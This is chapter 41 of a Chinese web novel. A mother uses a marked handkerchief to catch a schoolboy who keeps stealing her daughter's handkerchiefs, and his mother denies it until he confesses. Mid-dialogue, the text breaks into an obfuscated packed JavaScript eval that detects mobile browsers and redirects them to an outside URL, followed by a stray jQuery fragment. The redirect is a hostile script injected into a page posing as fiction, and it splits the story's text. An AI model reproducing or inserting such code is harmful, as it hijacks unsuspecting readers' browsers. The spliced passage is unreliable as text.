41. 第 41 章
作品:《守寡四年我迎来第二春》 孩子的事再小也是大事。
杨蔓当即放下绣了一半的柳条,随手挑了块不用的边角料给芽芽新绣了一块帕子。
“你这段时间就只用娘给你绣的这条帕子,若是丢了就第一时间告诉娘。”杨蔓把绣好的帕子递给芽芽时嘱咐道。
芽芽点头接过,虽不知娘的用意,但她听娘的话就好了!
这事急不来,得等小偷上钩才好进行下一步。
但县令夫人的衣裳等不了。杨蔓紧赶慢赶熬了个大夜,第二天下午总算赶制出第一套柳条绣样的衣裳,趁着没放衙,特意亲自送上门给县令过眼。
衣裳由哨子送进去,不久就笑着出来,对杨蔓道:“县令很满意,说与夫人平时穿的衣裳风格一致,叫你就这样做剩下的两套。”
杨蔓很是松了一口气,紧绷的神经松下来,“那就再好不过了。多谢哨子兄弟。”
哨子不在意地摆摆手,“嗐,小事。”
眼看着时间不早了,杨蔓还要去接芽芽,“那我就先走了,还要去私塾接孩子。”
哨子难得打趣一句:“这也快放衙了,弟妹不等蒋兄弟一起吗?”
杨蔓笑笑:“他十天里有九天都是天黑透了才归家,今日不知几时才走呢,我就不等他了。”
杨蔓走这一躺没告诉蒋昭,他不知道她今日要来县衙。等哨子返回去找到蒋昭告知杨蔓来过的事时,杨蔓早走远了。况且蒋昭今日确实还有些事情要做,一时半会还走不得。
告别哨子后,杨蔓直接去接芽芽。芽芽已经很久没有家里人来接的待遇了,乍一看到娘来接她,兴奋地举着手扑进娘怀里,抱着她的腰晃来晃去。
杨蔓看到芽芽朝她奔来也很高兴,当即俯身将孩子抱起。当然只抱了一下就放下了,芽芽越来越重,杨蔓已经不太能抱得动她了。
杨蔓牵着芽芽的手,娘俩往家走。
杨蔓没忘记问她:“你的帕子还在吗?”
“还在。”芽芽今日特地把新帕子拿出来用,用完就假装不经意扔在桌子上。休息的时候特地走出学舍,然后悄悄在窗边观察那个疑似拿她帕子的同窗。
“不过,我看到他朝我桌子的方向看了几眼。”芽芽告诉杨蔓。
“做得好,明日也这样暗中盯着他,若发现他真的拿走你的帕子,你就去找夫子。”杨蔓嘱咐她:“万万不可在人少的时候尤其是只有你二人的时候和他当面对峙,保不准他恼羞成怒失去理智,做出一些伤害你的事情,一定腰第一时间去找夫子,可知晓?”
“嗯!娘放心吧,我晓得的,我们夫子教了,君子不立于危墙之下①。”
杨蔓忍俊不禁,不知何时,芽芽的口头禅变成了“夫子教了”“夫子教过”,然后开始引经据典。
对此杨蔓乐见其成,这何尝不是一种学以致用呢。
芽芽的夫子是个很好的人,因着学堂只有芽芽一个女孩,平时对芽芽很是上心。她打算让芽芽自己上下学堂那段时日,其实她和蒋昭背地里偷偷跟着芽芽看她是否能平安抵达,恰好看到夫子特意等在学堂门口,远远望着芽芽走一段路。
于是她让芽芽发现情况第一时间去找夫子,她相信夫子能护着芽芽不出意外。
不出杨蔓所料,第二日她去接芽芽的时候,被夫子请到学舍。
学舍里学生都走光了,只剩下芽芽和另外一个男孩。
芽芽面带郁色,杨蔓一走近,就靠在她身上,小大人似的重重叹口气。
那个男生则是一直低着脑袋不看人。
夫子很是客气,“杨夫人,还请稍等片刻,我已差人去请周文的父母。”
杨蔓回以一笑。
不多时便听见一妇人的声音从门口传来:“是谁污蔑我儿?!”
杨蔓抬头去看,几息后才看到一个稍有些丰腴的妇人怒气冲冲跨进门槛,身后还跟着一个比她矮小些的男人。
夫子差人去请周文父母的时候特意交代了不要告知具体事宜,只让人来一趟就好,但周文父母往私塾赶的时候正好遇到巷子里另一家的小孩,那小孩见了周文父母嘴快嚷嚷着,周文偷东西被夫子扣下了。
那妇人自是不信自己乖巧懂事的儿子会做出这等事,顿时只觉儿子被冤枉了!
“我儿平素最是听话,在家里不是看书就是帮我做活,街坊四邻没有不夸的,我家也不是那等缺钱的人家,我儿要什么给什么,哪至于去偷!”
那妇人边说着边走上前来,扫视过在场三人,最后目光定在芽芽身上,哼了一声,“就你这小丫头片子说我儿偷东西?你身上有什么东西是值得我儿偷的?”
路上偶遇的邻居家小孩只说周文偷东西,并没说偷了什么,周文母亲听后第一反应就是儿子被冤枉,那还顾得上追问。
那夫人嗓子洪亮,吓得芽芽一个哆嗦。
杨蔓立时把芽芽掩在身后,皱眉看向那妇人,“这位夫人,你尚不知来龙去脉,怎就一口咬定你儿是清白的?俗话说知人知面不知心,你怎就能确定不是你家孩子平日里在大人面前装的好呢?”
“你!”那妇人怒目圆睁,却被身后的男人拦住。那男子面色凄凄,也不知是着急赶来还是什么缘故,额上布满细汗,他把自己妻子拽着退后几步,双方拉开距离,才看着妻子道:“我们先听听夫子怎么说,想来夫子会主持公道。”
他妻子这才消停,看向夫子。
夫子走到一张矮桌前,拿起一方帕子,走到双方中间,“您几位看看这帕子,可曾见过?”
杨蔓一眼就看出是她给芽芽绣的那条新帕子,但她默不作声,等着对方先说。
周文父亲细细看过后摇头,这种绣花帕子一般都是女子用的,他从何处见去?
周文母亲皱着眉,没好气道:“看着眼熟,许是在哪见过。”
她不耐烦道:“干这帕子何事?难不成我儿还能偷这不值几个铜板的帕子?”
杨蔓这才不紧不慢道:“这是我亲手给我家孩子绣的帕子,前日才绣好的新帕子。”
夫子的视线在两方睃巡过后才道:“这帕子是从周文身上搜出来的。”
“什么?!”
夫子看一眼暴怒的周文母亲,继续道:“不止一条,我从周文身上搜出来三条帕子,薛苗说都是她的帕子。”
夫子转身从矮桌上拿了另两条帕子,杨蔓看过后说道:“是我家孩子的帕子,都是我亲手绣的。”
周文母亲不依了,“你说是你绣的就是你绣的?我刚刚过于生气没看清,这会儿看清了,这明明是我亲手给我儿绣的帕子,三条都是我绣的,这牡丹花瓣每一瓣都是我绣上去的!”
反正这上面的绣样是最常见不过的牡丹,这东西又没名没姓的,她一口咬定是她绣的,别人也奈何不了她。
“孩儿他爹,你说是不是?”周文母亲把一直缩在她背后的男人扯前来。
他那妻子平日里哪做过什么针线,更遑论绣花,周文父亲嗫嚅两下,终究还是低低应了一声是。
杨蔓听得想笑,没见过这样自打嘴巴,睁眼说瞎话的,是笃定她无凭无据,证明不了这帕子是她绣的吗?
哼,多亏她早有准备,这在这等着呢!
杨蔓从鼻腔里哼出一声,“这位大哥方才还说没见过,你自己也只说眼熟,这会又成你亲手绣的了?你当在场各位都是傻的吗?”
“都说了刚刚一时生气没看清,再说了我每日闲来无事就绣帕子,家里我绣的帕子都能放满几个箩筐,我哪能清楚记得每一条,一时没想起来不是很正常?”周文母亲开始胡搅蛮缠。
“是吗?可是我却记得我绣的每一张帕子。”
“这张帕子上的赵粉花瓣我绣了足足130片。”
“这张帕子用的布料正好和我今日穿的短衫是同一件布料。”
杨蔓还没说完,周文母亲便抢白:“呵,我也记得这赵粉我绣了130片花瓣,巧了,这布料做的衣裳我也有一件,我是拿做衣裳剩下的碎布绣的帕子,只不过衣裳我今日没穿来罢了。”
周文母亲摆明了要胡搅蛮缠,死不承认。
“是吗?”杨蔓笑了,“睁大你的眼睛好好看看,这牡丹不是赵粉,是粉二乔,不过是我用的丝线颜色较浅罢了,花瓣也不是130片,而是80片。”
“至于这条,这根本就不是和我穿的衣裳同样的料子,只是颜色一样罢了。”
“你!你敢诓我!”周文母亲这才发现自己被耍了!
“至于这条,”杨蔓从随身携带的荷包里拿出一根绣针,将上面的一只黑喜鹊挑开几针,拆开一部分丝线,“薛苗”二字就露了出来。
“这条上面可是有我家孩子的名字,怎么?你家孩子也姓薛名苗?”
“你!”
“证据确凿,人赃俱获,你还有什么好狡辩的!”
“你!”周文母亲突然反应过来,又是一副蛮横嘴脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486280|183565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“你们说我儿偷东西我儿就偷了吗?谁看见了?我看就是你这死丫头不怀好意,故意将帕子塞给我儿子,趁机傍上我儿!”
“我就说一个丫头片子读什么书,准是抱着钓金龟婿的念头来的。谁不知道我周家做生意赚了大钱,定是你们母女合伙想要赖上我儿,以此傍上我家!”
“简直是一派胡言!”杨蔓来之前还想着将此时平和解决,万万没想到,这家人看起来大人的问题比小孩还严重,“果真是上梁不正下梁歪,看你这胡搅蛮缠的样子就知道你家孩子不是个好的,小小年纪就敢偷东西!既然你们死不承认,我们就去告官,让官府来解决!”
“你说谁呢你!”周文母亲厉声尖叫起来。
这时,一直低头不语的周文突然哇哇大哭起来,双膝一软就跪在杨蔓面前。
“呜呜呜,是我偷的,是我偷了薛苗的绣帕,对不起对不起,我给您道歉,给您磕头,求求不要送我去官府。”
周文父亲看孩子跪下了,也赶忙上前,倒是没跪下,只是腰弯的低低的,不断向杨蔓乞求,“孩子知错了,让他向您道歉,我家那口子口无遮拦,我代她向您道歉,我们可以十倍百倍赔偿,或者您随便提什么要求我都答应。只是孩子还小,念在他是初犯,就饶过他吧。”
杨蔓带着芽芽后退两步错开这父子二人,看着不断磕头的周文。
那孩子被自己一句告官吓坏了,一边磕头一边哭,身子还止不住发抖。
周文母亲上前来拽住儿子的胳膊,就要把跪着的周文拽起来,被周文父亲及时制住。
周文母亲又将一腔怒火发在周文父亲身上,肆无忌惮对他拳打脚踢,“反了你来,敢阻止我,还不快把你儿子扶起来。”
周文父亲充耳不闻,一动不动受着周文母亲的拳脚招呼,但就是死死抓着她不让她上前。
害怕的瑟瑟发抖的周文还在边哭边磕头。
杨蔓看着眼前这混乱又滑稽的一幕,只觉太阳穴都隐隐作痛。
“行了!都消停些!”杨蔓扬声道。
“你先起来别哭了,我有话问你,你若如实说来,我就考虑大事化小小事化了。”
周文被父亲扶起,憋着不再敢哭,人还哆哆嗦嗦的。
“你为什么三番五次偷我孩子的绣帕?”
“我……”周文一抽一抽的吸气,“我……就是看见她的帕子好看,想……要。”
“想要就去偷?”杨曼难以置信。
周文低头不敢看她,杨蔓真的不敢相信这是一个受过一年启蒙教导的读书人能说出的话。
一旁的夫子也是面色难看。
周文母亲还知道难堪,生平第一次动手打孩子,狠狠在他背上拍了一掌,“我好吃好喝供着你,吃的用的我哪样短了你的了,你要去偷别人的!”
周文被母亲拍得痛叫一声,又开始哭,破罐破摔道:“别人的帕子都是娘亲手给绣的,你从来都没有给我绣过帕子!”
周文呜呜哭,“我也想要娘亲手绣的帕子……”
所以,自己娘不给绣帕子,他不和自己娘说,反倒去偷别人的娘给孩子绣的帕子?
杨蔓还是不能理解。
不过,她也不想再和这家人纠缠不休了,再这样下去,她就真的要头疼了。
“好了,念在你是初犯,这次就放过你,往后若是再发现你偷东西,别想善罢甘休!”
“我不敢了,我不敢了……”
“过来给薛苗道歉。”杨蔓把芽芽从她身后推出来。
周文怯怯抬头看一眼,转向芽芽,带着哭音道:“薛苗,对不起,是我不对,我不该偷你的帕子。我再也不敢了,你能不能原谅我?”
芽芽鼓了鼓脸颊,慢慢道:“偷东西是不对的,你若想要,可以尝试问问我,说不定我就会同意送你一张帕子。”当然,芽芽是不会同意的,她又补充到:“若是我拒绝了你,你……也不能动不好的心思。”
“我知晓了,我以后绝对不会再偷东西了。”周文呜呜哭道。
“好了,就这样吧,这次我就不追究了。”杨蔓实在不想与他们再多说一句话,她转身看着夫子,屈身行礼道谢,“此事多谢夫子,多有叨扰,改日定亲自上门。只是我家中还有事忙,就先告辞了。”
夫子点头,“夫人慢走。”
杨蔓带着芽芽走出学舍,身后传来夫子教训周家一家子的厉声:“小时偷针,大时偷金!②”